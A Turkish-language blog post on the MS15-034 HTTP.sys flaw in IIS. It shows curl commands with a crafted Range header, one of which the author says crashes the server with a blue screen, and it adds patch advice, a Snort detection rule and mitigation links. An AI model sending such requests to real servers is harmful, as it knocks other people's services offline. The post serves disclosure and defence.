Merhaba
Microsoft’un 14 Nisan 2015 günü yayınladığı güvenlik bülteninde MS15-034 olarak adlandırılan HTTP.sys Remote Code Execution zafiyetine yer verildi. Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, ve Windows Server 2012 R2 işletim sistemlerinin tamamı için geçerli olan bu zafiyet, saldırganların IIS sunucularına gönderecekleri özel bir HTTP talebi ile sömürülebilmekte.
Blue Screen of Death
Zafiyeti tetiklemek için HTTP talebine Range header bilgisinin özel bir değer ile eklenmesi gerekmektedir.
➜ curl -v http://IPADRESS -H "Range: bytes=0-18446744073709551615" * Rebuilt URL to: http://IPADRESS/ * Hostname was NOT found in DNS cache * Trying IPADRESS... * Connected to IPADRESS (IPADRESS) port 80 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.37.1 > Host: 69.90.236.32 > Accept: */* > Range: bytes=0-18446744073709551615 > < HTTP/1.1 416 Requested Range Not Satisfiable < Content-Length: 0 < Content-Range: bytes */0 * Server Microsoft-IIS/6.0 is not blacklisted < Server: Microsoft-IIS/6.0 < X-Powered-By: ASP.NET < Date: Thu, 16 Apr 2015 08:14:59 GMT < * Connection #0 to host IPADRESS left intact
Yukarıda da gözüktüğü gibi 416 Requested Range Not Satisfiable bilgisi gelmekte. Eğer Range değeri 0-18446744073709551615 yerine 18-18446744073709551615 olarak set edilirse IIS sunucusu Blue Screen of Death (mavi ekran) adı verilen hataya düşecek ve herhangi başka bir HTTP talebine cevap veremiyor olacaktır.
Burada ki en önemli nokta ise Range değerinin IIS servisi tarafından alıp işlenmesi için statik dosyanın talep ediliyor olması gerekir. Örneğin aşağıdaki curl komutu sunucuya “mavi ekran” verdirecektir.
➜ curl -v http://192.168.15.5/welcome.png -H "Range: bytes=18-18446744073709551615" * Hostname was NOT found in DNS cache * Trying 192.168.15.5... * Connected to 192.168.15.5 (192.168.15.5) port 80 (#0) > GET /welcome.png HTTP/1.1 > User-Agent: curl/7.37.1 > Host: 192.168.15.5 > Accept: */* > Range: bytes=18-18446744073709551615
Sunucuya baktığımızda ise bizi mavi bir ekran bekliyor olacaktır.
Metasploit Modül
Zafiyetin varlığını test eden ve DoS saldırısı gerçekleştiren metasploit modülü upstream repo’ya eklendi. Curl ile komut satırından gerçekleştirilen işlemin aynısı yapmakta olan bu modül üzerinde geliştirmeler devam etmektedir. ( https://github.com/rapid7/metasploit-framework/pull/5150)
Nasıl Korunurum ?
Tabiki öncelikle yapılması gereken windows güncelleştirmelerinin kurulması. Güncelleştirme süreci zaman alabilir, bu nedenle aşağıdaki Snort rule’unu güncelleştirmelerinizi yapana kadar kullanmanızı öneririm.
alert tcp $EXTERNL_NET any -> $HOME_NET 80 (msg: " MS15-034 Range Header HTTP.sys Exploit"; content: "|0d 0a|Range: bytes="; nocase; content: "-"; within: 20 ; byte_test: 10,>,1000000000,0,relative,string,dec ; sid: 1001239;) (byte_test is limited to 10 bytes, so I just check if the first 10 bytes are larger then 1000000000)
Tabi Cloudflare’da bu zafiyete karşı önlem alarak IIS ile hizmet veren kullanıcılarına gelebilecek DoS saldırılarından korumaya başladı. Zafiyetin yayınlanmasından 2-3 saat sonra kendi sistemlerine bu saldırıyı tespit edecek kuralları tanımladılar ( Bknz : https://blog.cloudflare.com/cloudflare-is-protected-against-cve-2015-1635)
Kaynaklar:
https://isc.sans.edu//forums/diary/MS15034+HTTPsys+IIS+DoS+And+Possible+Remote+Code+Execution+PATCH+NOW/19583/
https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/
https://technet.microsoft.com/library/security/MS15-034